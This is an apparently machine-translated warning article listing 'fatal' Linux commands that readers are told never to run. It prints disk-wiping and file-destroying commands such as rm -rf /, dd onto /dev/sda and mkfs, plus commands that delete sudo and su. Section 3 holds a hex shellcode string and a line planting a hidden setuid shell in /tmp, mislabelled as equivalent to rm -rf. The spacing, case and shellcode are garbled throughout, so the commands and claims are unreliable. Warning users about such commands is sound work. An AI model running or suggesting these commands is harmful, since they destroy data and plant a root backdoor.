Multiple fatal Linux commands

This article collects all the information that you 'd better not execute Linux commands and execute any of the following Linux commands) will cause you to lose data or cause data corruption, freeze or suspend your running Linux system.

Do not run the following commands on the Linux text interface! Never run the following commands in linux box cli!

Even if you are advised to do so in forums or instant chat tools.

1. the following commands will erase all the content in your entire/home partition, root partition or even your entire hard disk.
Sudo rm-rf/
Rm-rf .*
Dd if =/dev/zero of =/dev/sda
Mkfs. ext3/dev/hda
Whatever>/dev/hda
Cd ~; For x in 'LS'; do mv-f $ x $ y; y = $ x; done
Find-type f-mtime + 30-exec mv {}/dev/null \;
Mv ~ /Dev/null
Mv // dev/null

2. the Kernel is damaged or your Linux system is frozen.
Dd if =/dev/random of =/dev/port
# The so-called Fork function bomb (fork bomb)

3. This command has the same consequences as "rm-rf.
Char esp [] _ attribute _ (section (". text")/* e. s. p
Release */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68 ″
"\ Xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 ″
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 ″
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56 ″
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 ″
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ x2f \ x62 \ x69 ″
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00 ″
"Cp-p/bin/sh/tmp/. beyond; chmod 4755
/Tmp/. beyond ;";

4. This command will prevent you from using the root permission in the future.

Rm-f/usr/bin/sudo; rm-f/bin/su

If you know other Linux commands that can damage the running Linux system or cause fatal consequences to the Linux system administrator, please comment out so that I can update this article. Thank you.

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